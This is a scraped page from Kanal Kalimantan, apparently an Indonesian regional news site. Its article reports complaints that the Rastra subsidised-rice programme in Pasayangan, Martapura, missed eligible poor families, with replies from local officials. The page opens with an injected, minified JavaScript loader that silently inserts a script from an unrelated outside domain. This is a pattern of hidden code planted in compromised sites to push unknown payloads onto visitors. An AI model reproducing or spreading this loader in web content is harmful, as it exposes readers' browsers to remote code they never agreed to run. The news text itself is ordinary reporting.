(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Sosial

Warga Pasayangan Martapura Ini Bingung, Jatah Rastra Tidak Lagi Diterimanya


MARTAPURA, Program beras sejahtera (Rastra) yang dilakukan pemerintah pusat melalui Kementrian Sosial RI kepada warga miskin diduga masih saja salah sasaran penerima.

Seperti penyaluran program Rastra di Kelurahan Pasayangan, Kecamatan Martapura dalam penyalurannya mendapat protes salah satu warga Pasayangan di RT 7.

Noorhani (45), warga Pasayangan RT 07 jalan Belahan menuturkan, dirinya tidak mendapatkan pembagian beras gratis tersebut, padahal statusnya seorang janda yang hanya berjualan pakaian bekas.

“Tidak dapat, tapi tetangga dapat. Kabar pembagian saja tidak ada, tahu-tahu ada yang dapat,” ujarnya kepada Kanal Kalimantan.

Diketahui setiap warga yang tercatat untuk mendapatkan beras sejahtera sebanyak 12 keluarga dalam tiap RT.

Menanggapi keluhan warga tersebut, Ketua RT 07 H Anang Sya’rani mengakui, daftar nama-nama yang mendapatkan bantuan itu memang terkesan salah sasaran. “Yang dulu pernah dapat sekarang tidak dapat lagi,” ujarnya.

Namun berkurangnya jatah beras yang dibagi karena faktor menurunnya angka kemiskinan di wilayah RT yang dipimpinnya.

“Iya, saya juga tidak enak dengan warga saya, karena yang dulunya dapat, sekarang tidak lagi. Jadi mereka bertanya-tanya. Namun kalau kenapa jatahnya berkurang, itu yang mendata dari pihak Kementrian Sosial langsung, dan angka kemiskinan di sini yang tadinya sebanyak 140 keluarga menjadi berkurang,” ujar H Anang.

Menurut pengakuan dari aparatur desa itu pihaknya tidak pernah melakukan pendataan tentang warga, tapi daftar nama-nama itu langsung datang dari kelurahan.

“Bukan kami yang mendata, jadi daftar nama-nama yang berhak menerima itu langsung ada dari kelurahan, selanjutnya pihak RT hanya membagikan saja,” ujarnya

Pihak Kasi Kessos Kelurahan Pasayangan Dewi Sari mengatakan, untuk tahun ini jumlah beras sejahtera yang diterima untuk keluarga miskin dari pusat berkurang cukup banyak.

Menurut Dewi pihaknya memang sudah mengusulkan daftar nama-nama yang mendapatkan beras sejahtera itu.

“Jatah Rastra sekarang sudah berkurang untuk di Kelurahan Pasayangan yang didapat, dan kita membagi sesuai dengan data yang diberikan pihak kementrian. Walaupun kita telah mengusulkan, namun keputusan tetap pada mereka,” pungkas Dewi Sari. (hendera)

Reporter: hendera
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Forum Ambin Demokrasi: Pilwali Banjarbaru Cacat Prosedural dan Cacat Hukum

KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More

6 jam ago

Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More

7 jam ago

Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More

7 jam ago

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

12 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

13 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

13 jam ago

This website uses cookies.